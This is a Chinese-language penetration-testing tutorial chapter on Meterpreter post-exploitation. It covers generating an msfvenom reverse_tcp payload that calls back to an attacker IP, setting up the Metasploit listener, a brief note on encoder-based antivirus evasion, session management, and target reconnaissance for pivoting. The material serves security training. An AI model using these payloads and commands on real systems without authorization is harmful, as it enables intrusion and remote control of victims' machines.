1. 后渗透基础:Meterpreter会话建立、会话管理、目标信息收集
各位同学,咱们今天聊聊后渗透的第一步。说白了,就是你已经拿到了一个shell,接下来该怎么办?
我个人习惯把后渗透比作「进了门先别急着翻东西,得先看看屋里什么情况」。Meterpreter就是咱们手里最趁手的工具。嗯,这里要注意,很多人拿到session就急着执行命令,结果没几分钟就断了——我早期也吃过这个亏。
1.1 Meterpreter会话建立
建立会话的方式其实就两种:主动连过来,或者我们连过去。我项目中用得最多的是反向连接,因为目标机器在内网,正向连接往往被防火墙拦死。
先看一个经典的反向payload生成:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
生成之后,在MSF里开个监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j
这里有个坑——LHOST一定要填你本机实际能通目标的IP。我曾经在云上做测试,忘了改监听地址,结果session死活回不来,排查了半天才发现监听的是127.0.0.1。
shikata_ga_nai 编码器绕一圈,虽然不能保证100%过,但至少能过掉一些低端杀软。
1.2 会话管理
拿到会话之后,管理好它是关键。你想想看,如果同时控制十几台机器,没有好的管理习惯,很容易乱套。
常用的会话管理命令:
| 命令 | 作用 | 我的经验 |
|---|---|---|
sessions -l |
列出所有会话 | 每次操作前先看一眼,确认没搞错目标 |
sessions -i [id] |
切换到指定会话 | 我习惯给每个会话起个备注名 |
sessions -k [id] |
杀掉指定会话 | 用完就关,别留后患 |
background |
将会话放到后台 | 这个最常用,别傻乎乎一直占着终端 |
我建议你养成一个习惯:拿到session后,第一时间执行 sysinfo 和 getuid,确认目标的基本情况。如果发现是低权限,赶紧想办法提权,别浪费时间。
1.3 目标信息收集
信息收集是后渗透的核心。你掌握的信息越多,后续操作就越有底气。我一般按这个顺序来:
1.3.1 系统信息
meterpreter > sysinfo
Computer : WIN-7U7K8L9M
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Arch : x64
Meterpreter : x64/windows
看到系统版本,你心里就有数了。比如Win7大概率有永恒之蓝的漏洞,Win10就得找别的路子。我记得有一次碰到一台Win Server 2008,系统补丁打到最新,常规提权手法全失效,最后是靠一个冷门的打印机漏洞才拿下的。
1.3.2 进程列表
meterpreter > ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
1232 456 svchost.exe x64 1 NT AUTHORITY\SYSTEM
4568 1232 explorer.exe x64 1 WIN-7U7K8L9M\admin
7890 4568 chrome.exe x64 1 WIN-7U7K8L9M\admin
看进程列表能发现很多信息。比如有没有杀软进程、有没有办公软件、有没有调试工具。我一般重点关注 svchost.exe 和 explorer.exe 的PID,因为后续注入或者迁移进程经常要用到它们。
wireshark.exe 或 procmon.exe 这类工具在运行,说明目标可能是个安全人员或者开发者的机器,操作时要格外小心。
1.3.3 网络配置
meterpreter > ifconfig
Interface 1: Software Loopback Interface 1
Name : lo
IPv4 Address : 127.0.0.1
Netmask : 255.0.0.0
Interface 2: Intel(R) PRO/1000 MT Network Connection
Name : eth0
IPv4 Address : 192.168.1.105
Netmask : 255.255.255.0
IPv4 Address : 10.0.0.15
Netmask : 255.255.255.0
网络配置能告诉你目标在几个网段里。比如上面这个例子,目标同时连着192.168.1.x和10.0.0.x两个网段,说明它可能是个跳板机。我遇到过一个案例,目标机器有三块网卡,分别连着内网、外网和工控网,那台机器简直就是个金矿。
再看看路由表:
meterpreter > route
Network Netmask Gateway
192.168.1.0 255.255.255.0 192.168.1.1
10.0.0.0 255.255.255.0 10.0.0.1
路由表能帮你判断能不能从当前机器跳到其他网段。如果发现目标能访问你感兴趣的内网段,就可以考虑加一条MSF路由,把流量转发过去。
1.4 知识体系总览
下面这张图是我自己总结的后渗透第一步的知识结构,你照着这个思路走,基本不会漏掉关键信息:
这张图把咱们今天讲的内容串起来了。你照着这个流程走,从建立会话到管理会话,再到信息收集,每一步都有章可循。
- 建立会话时优先用反向连接,注意监听地址别填错
- 会话管理要养成好习惯,用完就background,别占着终端
- 信息收集按「系统→进程→网络」的顺序来,别跳步
- 发现多网卡机器要特别留意,可能是内网跳板
好了,这一章的内容就到这儿。信息收集这块儿其实还有很多细节,比如抓密码、查文件、看计划任务等等,咱们后面几章会慢慢展开。你先把今天讲的这几个命令练熟,后面操作起来就顺手多了。